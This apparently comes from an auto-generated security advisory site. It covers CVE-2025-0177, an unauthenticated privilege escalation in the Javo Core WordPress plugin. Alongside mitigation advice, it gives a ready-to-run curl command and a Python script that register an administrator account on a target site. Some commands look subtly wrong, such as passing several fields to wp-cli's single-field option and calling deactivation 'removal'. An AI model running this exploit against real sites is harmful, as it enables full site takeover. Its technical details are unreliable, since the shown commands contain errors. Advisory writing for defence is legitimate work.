How the Mentioned CVE Works:
CVE-2025-0177 is a critical vulnerability in the Javo Core plugin for WordPress, affecting all versions up to and including 3.0.0.080. The flaw arises from improper access control during user registration, allowing unauthenticated attackers to assign themselves the administrator role. This privilege escalation occurs because the plugin fails to validate or restrict the role parameter during account creation. Attackers can exploit this by crafting a malicious registration request with the “role” parameter set to “administrator,” granting them full control over the WordPress site. This vulnerability poses a significant risk as it enables unauthorized users to compromise the entire website, modify content, inject malicious code, or exfiltrate sensitive data.
DailyCVE Form:
Platform: WordPress
Version: Javo Core <= 3.0.0.080
Vulnerability: Privilege Escalation
Severity: Critical
Date: 03/08/2025
What Undercode Say:
Exploitation:
1. Crafting the Exploit:
Attackers can use tools like `curl` or browser developer tools to send a POST request to the registration endpoint with a manipulated “role” parameter.
Example `curl` command:
curl -X POST http://target-site.com/wp-login.php?action=register -d "user_login=attacker&[email protected]&role=administrator"
2. Automating the Attack:
Python script to automate the exploit:
import requests
url = "http://target-site.com/wp-login.php?action=register"
data = {
"user_login": "attacker",
"user_email": "[email protected]",
"role": "administrator"
}
response = requests.post(url, data=data)
if response.status_code == 200:
print("Exploit successful! Admin account created.")
else:
print("Exploit failed.")
Protection:
1. Immediate Mitigation:
- Disable the Javo Core plugin until a patched version is available.
- Restrict user registration or implement CAPTCHA to prevent automated attacks.
2. Patching:
Update the Javo Core plugin to the latest version as soon as a patch is released.
3. Security Hardening:
- Use WordPress security plugins like Wordfence or iThemes Security to monitor and block suspicious activity.
- Implement role-based access control (RBAC) to restrict user privileges.
4. Monitoring:
Regularly audit user accounts and roles to detect unauthorized changes.
Analytics:
- Attack Vector: Network (exploitable remotely)
- Complexity: Low (no advanced skills required)
- Impact: High (full site compromise)
- CVSS Score: 9.8 (Critical)
Additional Commands:
- Check for vulnerable plugins:
wp plugin list --status=active --field=name
- Remove vulnerable plugin:
wp plugin deactivate javo-core
- Monitor user roles:
wp user list --field=ID,user_login,roles
By following these steps, administrators can mitigate the risk posed by CVE-2025-0177 and protect their WordPress installations from privilege escalation attacks.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-0177
Extra Source Hub:
Undercode
